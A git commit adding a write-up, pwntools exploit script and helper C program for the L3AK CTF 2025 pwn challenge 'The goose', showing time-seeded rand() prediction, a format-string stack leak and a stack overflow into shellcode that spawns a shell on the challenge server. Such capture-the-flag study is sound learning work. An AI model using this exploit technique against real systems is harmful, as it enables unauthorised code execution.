Adds l3ak ctf 2025
This commit is contained in:
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
Binary file not shown.
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import subprocess
|
||||
|
||||
# Allows you to switch between local/GDB/remote from terminal
|
||||
def start(argv=[], *a, **kw):
|
||||
if args.GDB: # Set GDBscript below
|
||||
exe = local_exe
|
||||
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
elif args.REMOTE: # ('server', 'port')
|
||||
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||
elif args.SSH:
|
||||
exe = remote_exe
|
||||
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||
return s.process([exe] + argv)
|
||||
else: # Run locally
|
||||
exe = local_exe
|
||||
return process([exe] + argv, *a, **kw)
|
||||
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
gdbscript = '''
|
||||
break *highscore+276
|
||||
'''.format(**locals())
|
||||
|
||||
|
||||
# USE ./filename otherwise gdb will not work
|
||||
local_exe = './chall'
|
||||
remote_exe = 'REMOTE'
|
||||
# This will automatically get context arch, bits, os etc
|
||||
elf = context.binary = ELF(local_exe, checksec=False)
|
||||
# Change logging level to help with debugging (error/warning/info/debug)
|
||||
#context.log_level = 'debug'
|
||||
context.log_level = 'info'
|
||||
|
||||
# ===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
# ===========================================================
|
||||
|
||||
io = start()
|
||||
|
||||
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||
io.sendlineafter(b"> ", b"GOD")
|
||||
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||
|
||||
io.sendlineafter(b"what's your name again?", b'%p')
|
||||
|
||||
stack = int(io.recv().decode().split()[1], 16)
|
||||
stack -= 0x126 # Offset to our buffer
|
||||
|
||||
# Space before return pointer 376
|
||||
sh = asm(shellcraft.amd64.linux.sh())
|
||||
|
||||
payload = flat(
|
||||
asm('nop')*100,
|
||||
sh,
|
||||
b'A'*(376-100-len(sh)),
|
||||
pack(stack)
|
||||
)
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
||||
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
@@ -0,0 +1,168 @@
|
||||
+++
|
||||
date = '2025-07-14T09:16:28+02:00'
|
||||
draft = false
|
||||
title = 'The goose'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
description: When the honking gets tough, you better brush up on your basics.
|
||||
Author: dsp
|
||||
|
||||
For this challenge we are given the binary and the Dockerfile
|
||||
```
|
||||
>>> pwn checksec --file=chall <<<
|
||||
[*] 'l3ak_ctf/pwn/the_goose/chall'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX unknown - GNU_STACK missing
|
||||
PIE: PIE enabled
|
||||
Stack: Executable
|
||||
RWX: Has RWX segments
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
No stack canary and executable stack we can already guess this will involve a shellcode.
|
||||
|
||||
## Exploration
|
||||
|
||||
```
|
||||
>>> the_goose ./chall
|
||||
Welcome to the goose game.
|
||||
Here you have to guess a-priori, how many HONKS you will receive from a very angry goose.
|
||||
Godspeed.
|
||||
How shall we call you?
|
||||
> GOD
|
||||
|
||||
so GOD. how many honks?10
|
||||
|
||||
HONK ... HONK
|
||||
tough luck. THE GOOSE WINS! GET THE HONK OUT!
|
||||
```
|
||||
|
||||
So it seems like we have to guess the number of HONKs from the goose.
|
||||
Let's fire up ghidra and look at what we facing.
|
||||
|
||||
```C
|
||||
int main(void)
|
||||
{
|
||||
int iVar1;
|
||||
time_t tVar2;
|
||||
|
||||
setvbuf(stdout,(char *)0x0,2,0);
|
||||
tVar2 = time((time_t *)0x0);
|
||||
srand((uint)tVar2);
|
||||
setuser();
|
||||
iVar1 = rand();
|
||||
nhonks = iVar1 % 0x5b + 10;
|
||||
iVar1 = guess();
|
||||
if (iVar1 == 0) {
|
||||
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
|
||||
}
|
||||
else {
|
||||
highscore();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
The number of honks are generated by `rand()` which is seeded with the current time.
|
||||
If we correctly guess the number of honks we go inside of the highscore function.
|
||||
```C
|
||||
void highscore(void)
|
||||
{
|
||||
undefined message_buffer [128];
|
||||
char buffer_random [31];
|
||||
undefined local_d9;
|
||||
undefined name_buffer [32];
|
||||
char success_message [74];
|
||||
|
||||
/* The message is written one char at a time I placed everything on the same line to make it readable */
|
||||
success_message = "wow %s you\'re so go what message would you like to leave to the world?"
|
||||
success_message[0x49] = '\0';
|
||||
printf("what\'s your name again?");
|
||||
scanf("%31s",name_buffer);
|
||||
local_d9 = 0;
|
||||
sprintf(buffer_random,success_message,name_buffer);
|
||||
printf(buffer_random);
|
||||
read(0,message_buffer,0x400);
|
||||
printf("got it. bye now.");
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it.
|
||||
So there are two steps to this challenge :
|
||||
1. Guessing the number of honks
|
||||
2. Exploiting the `highscore` function to get a shell
|
||||
|
||||
## Guessing the number of honks
|
||||
|
||||
The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`.
|
||||
We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`).
|
||||
From there we can easily compute the number with a small C program
|
||||
```C
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
srand(time(NULL));
|
||||
printf("%d", (rand() % 0x5b + 10));
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time).
|
||||
```python
|
||||
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||
io.sendlineafter(b"> ", b"GOD")
|
||||
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||
```
|
||||
|
||||
## Exploiting the highscore function
|
||||
|
||||
Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX).
|
||||
The only problem is finding the address of something on the stack to be able to jump to our shellcode.
|
||||
This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack.
|
||||
The last step is to calculate the offsets and finish writing the exploit scrip
|
||||
|
||||
## Putting it all together
|
||||
|
||||
```python
|
||||
io = start()
|
||||
|
||||
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||
io.sendlineafter(b"> ", b"GOD")
|
||||
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||
|
||||
io.sendlineafter(b"what's your name again?", b'%p')
|
||||
|
||||
stack = int(io.recv().decode().split()[1], 16)
|
||||
stack -= 0x126 # Offset to our buffer
|
||||
|
||||
# Space before return pointer 376
|
||||
sh = asm(shellcraft.amd64.linux.sh())
|
||||
|
||||
payload = flat(
|
||||
asm('nop')*100,
|
||||
sh,
|
||||
b'A'*(376-100-len(sh)),
|
||||
pack(stack)
|
||||
)
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
We run it and there we go
|
||||
```
|
||||
>>> ./exploit.py REMOTE 34.45.81.67 16004 <<<
|
||||
[+] Opening connection to 34.45.81.67 on port 16004: Done
|
||||
[*] Switching to interactive mode
|
||||
got it. bye now.$ cat /flag.txt
|
||||
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
|
||||
[*] Interrupted
|
||||
[*] Closed connection to 34.45.81.67 port 16004
|
||||
```
|
||||
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
@@ -0,0 +1,10 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
srand(time(NULL) + 1);
|
||||
printf("%d", (rand() % 0x5b + 10));
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user